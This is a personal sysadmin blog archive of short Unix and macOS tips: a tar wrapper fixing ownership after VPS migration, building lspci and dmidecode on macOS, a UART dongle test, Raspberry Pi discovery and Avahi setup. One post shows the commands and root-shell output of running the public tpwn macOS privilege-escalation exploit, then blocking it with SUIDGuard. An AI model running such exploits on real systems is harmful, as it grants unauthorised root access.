Category Archives: *nix General

Lost in… migration…

VPS import in the VMmanagerOVZ 5.64.1 works without errors, as it shows in panel status and in the log files.
BUT! You can face the problems in the feature because there can be wrong file permissions inside the imported VPS.

I’ve found this issue after in the imported VPS the MySQL server can’t start. This happens because of wrong permissions for the whole mysql data directory:

# ls -la /var/lib/mysql/mysql/user*
-rw-rw---- 1 sshd postfix 10466 Feb 25  2014 /var/lib/mysql/mysql/user.frm
-rw-rw---- 1 sshd postfix   292 Feb 25  2014 /var/lib/mysql/mysql/user.MYD
-rw-rw---- 1 sshd postfix  2048 Feb 25  2014 /var/lib/mysql/mysql/user.MYI

this is because of the bug in the VMmanagerOVZ:

Aug 10 02:01:31 [23156:1] libmgr INFO id=4430c2 Run ssh command 'ssh -i /usr/local/mgr5/etc/ssh_id_rsa -o UserKnownHostsFile=/usr/local/mgr5/etc/vemgr_known_hosts [email protected] 'cd /vz/private/105 && tar czpf - *' | tar xzpf - -C /var/lib/vz/private/113' on root@yyy.yy.yy.yyy 
Aug 10 02:14:03 [23156:1] libmgr INFO id=4430c2 Ssh command finished with status 0

it uses tar command on the host machine without –numeric-owner option – in this case tar saves user/group names from the host machine.

The temporary solution for this issue:

# mv /bin/tar{,.orig}
`/bin/tar' -> `/bin/tar.orig'
# vim /bin/tar
# chmod a+x /bin/tar
# ls -la /bin/tar*
-rwxr-xr-x 1 root root    132 2016-08-13 14:21 /bin/tar
-rwxr-xr-x 1 root root 340584 2010-03-11 03:21 /bin/tar.orig
# cat /bin/tar
#!/bin/bash
if [ "${1}" = "czpf" -a "${2}" = "-" ]; then
  /bin/tar.orig --numeric-owner -czf - ${@:3}
else
  /bin/tar.orig ${@}
fi
#

lspci and dmidecode under MacOS X

Thanks goes to a guys from coreboot for the DirectHW kernel driver and framework that emulates the most commonly used hardware access functions on x86 machines under Mac OS X.

DirectHW is free software and released under the license ISC-L.

Build the DMG installer with kernel driver and framework:

git clone http://review.coreboot.org/p/directhw.git
cd directhw/macosx
make directhw

A couple of people having trouble building DirectHW, so you can download from mirror

Build and install pciutils-3.1.7:

PCIUTILS="pciutils-3.1.7"
rm -rf ${PCIUTILS}{,.tar.bz2}
wget -v -nd -c ftp://ftp.kernel.org/pub/software/utils/pciutils/${PCIUTILS}.tar.bz2
tar xvjf ${PCIUTILS}.tar.bz2
patch -p0 < patches/${PCIUTILS}.diff
cd ${PCIUTILS}
make OPT="-O2 -arch i386 -arch x86_64" LDFLAGS="-arch i386 -arch x86_64" install install-lib
cd -
rm -rf ${PCIUTILS}{,.tar.bz2}

Build and install dmidecode-2.11:

DMIDECODE="dmidecode-2.11"
rm -rf ${DMIDECODE}{,.tar.bz2}
wget -v -nd -c http://download-mirror.savannah.gnu.org/releases/dmidecode/${DMIDECODE}.tar.bz2
tar xvjf ${DMIDECODE}.tar.bz2
patch -p0 < patches/dmidecode-2.11.diff
cd ${DMIDECODE}
make install
cd -
rm -rf ${DMIDECODE}{,.tar.bz2}

Don’t forget to load the kernel extension:

sudo kextload /System/Library/Extensions/DirectHW.kext

Great, now you can use lspci, dmidecode, etc… don’t forget to use sudo:

update-pciids
sudo lspci -vv
sudo dmidecode
sudo biosdecode

USB to UART Bridge Controller (dongle)

Finally i’ve got TTL to USB dongle. Here is some photos:

CP2102 Front
CP2102 Back

Silicon Labs CP2102 as detected by MacOS

CP2102 MacOS USB1
CP2102 MacOS USB2

Drivers can be downloaded from the official site.
Driver version 4.1.1 successfully installed under MacOS X Yosemite 10.10.5 (14F27).

$ kextstat | tail -1
  170    0 0xffffff7f832d7000 0x6000     0x6000     com.silabs.driver.CP210xVCPDriver (4.1.1) <90 37 4 3>

driver loaded and we’re got two special character devices under the /dev directory:

$ ls -la /dev/*SLAB*
crw-rw-rw- 1 root wheel 17, 11 Sep 14 23:04 /dev/cu.SLAB_USBtoUART
crw-rw-rw- 1 root wheel 17, 10 Sep 14 23:04 /dev/tty.SLAB_USBtoUART

now we’re should perform loopback test. Short RX and TX pins, and run terminal:

sudo cu -l /dev/tty.SLAB_USBtoUART -s 115200

try to enter some text. Letters should be displayed while each key pressed.
If you’re see typed text all fine and press ~. (tilde and period) to exit terminal.

Raspberry Pi lost… and found

How to find my RPi2 on network. I use arp-scan, brewed in my MacOS shell:

$ brew update
$ brew install arp-scan

Optional steps (for proper vendor decoding):

$ get-iab -v -f /usr/local/share/arp-scan/ieee-iab.txt
Renaming /usr/local/share/arp-scan/ieee-iab.txt to /usr/local/share/arp-scan/ieee-iab.txt.bak
Fetching IAB data from http://standards.ieee.org/develop/regauth/iab/iab.txt
Fetched 2452407 bytes
Opening output file /usr/local/share/arp-scan/ieee-iab.txt
4567 IAB entries written to file /usr/local/share/arp-scan/ieee-iab.txt
$ get-oui -v -f /usr/local/share/arp-scan/ieee-oui.txt
Renaming /usr/local/share/arp-scan/ieee-oui.txt to /usr/local/share/arp-scan/ieee-oui.txt.bak
Fetching OUI data from http://standards.ieee.org/develop/regauth/oui/oui.txt
Fetched 3245695 bytes
Opening output file /usr/local/share/arp-scan/ieee-oui.txt
21123 OUI entries written to file /usr/local/share/arp-scan/ieee-oui.txt

Now scan local network (don’t forget sudo):

$ sudo arp-scan --localnet | grep -i 'b8:27:eb'
192.168.1.102	b8:27:eb:dd:e3:c6	Raspberry Pi Foundation

Found.

Bonjour networking for Raspberry Pi

I have a lot of Apple hardware (MacBook, Hackintosh, iPhone, etc.) configured with Bonjour and I want my RPi2 be resolved by network.

apt-get update
apt-get install -y avahi-daemon
update-rc.d avahi-daemon enable
service avahi-daemon stop
vi /etc/default/avahi-daemon

and change the line:

AVAHI_DAEMON_DETECT_LOCAL=1

to

AVAHI_DAEMON_DETECT_LOCAL=0

then start the Avahi-daemon with

service avahi-daemon start

Now we’re can test resolving by ping for example

$ ping raspberrypi.local
PING raspberrypi.local (192.168.1.102): 56 data bytes
64 bytes from 192.168.1.102: icmp_seq=0 ttl=64 time=0.439 ms
64 bytes from 192.168.1.102: icmp_seq=1 ttl=64 time=0.446 ms
^C
--- raspberrypi.local ping statistics ---
2 packets transmitted, 2 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 0.439/0.443/0.446/0.003 ms

Problem solved.

Brew Cask cleanup orphans

find /opt/homebrew-cask/Caskroom -depth 1 -print -exec \
  sh -c "ls -1A {} | grep -v .metadata | head -n -1" \; | grep -B1 -E '^[^\/]'

output will show you extra files in directory which should be removed

/opt/homebrew-cask/Caskroom/google-chrome
.DS_Store
--
/opt/homebrew-cask/Caskroom/iterm2
.DS_Store
--
/opt/homebrew-cask/Caskroom/opera
24.0.1558.64

also it will display orphaned versions of exact Cask which should be zapped

brew cask zap opera
brew cask install opera

Serious flaw in Mac OS X

$ git clone https://github.com/kpwn/tpwn.git
Cloning into 'tpwn'...
remote: Counting objects: 19, done.
remote: Total 19 (delta 0), reused 0 (delta 0), pack-reused 19
Unpacking objects: 100% (19/19), done.
Checking connectivity... done.
$ cd tpwn/
$ make
gcc *.m -o tpwn -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3
strip tpwn
$ ./tpwn
leaked kaslr slide, @ 0x0000000000000000
sh-3.2# id
uid=0(root) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),395(com.apple.access_ftp),398(com.apple.access_screensharing-disabled),399(com.apple.access_ssh-disabled)
sh-3.2#

Original post: Young Italian discovers two serious flaws in Mac OS X

Solution #1: NULLGuard

Solution #2: SUIDGuard

SUIDGuard looks like professional (enterprise) solution for the problem, official website www.suidguard.com

$ open ~/Downloads/SUIDGuardNG-106.dmg
$ sudo kextload -v /Library/Extensions/SUIDGuardNG.kext
Password:
Requesting load of /Library/Extensions/SUIDGuardNG.kext.
/Library/Extensions/SUIDGuardNG.kext loaded successfully (or already loaded).
$ ./tpwn
Killed: 9

Perfect!

Exit with Ctrl+D from shell

If you face with a problem of logout from a unix box like this (you’re press Ctrl+D but it doesn’t work) :

esekilxv7001 [10:24am] [/home/xmalmak] -> ^D
Use "logout" to logout.

first you need is to check your shell

esekilxv7001 [10:24am] [/home/xmalmak] -> echo $SHELL
/bin/tcsh

good, you’re using C shell, so let’s fix the problem:

esekilxv7001 [10:27am] [/home/xmalmak] -> unset ignoreeof
esekilxv7001 [10:27am] [/home/xmalmak] -> echo "unset ignoreeof" >>~/.cshrc.user
esekilxv7001 [10:28am] [/home/xmalmak] -> logout
Connection to esekilxv7001 closed.
[11:28:11 ~ <0>]$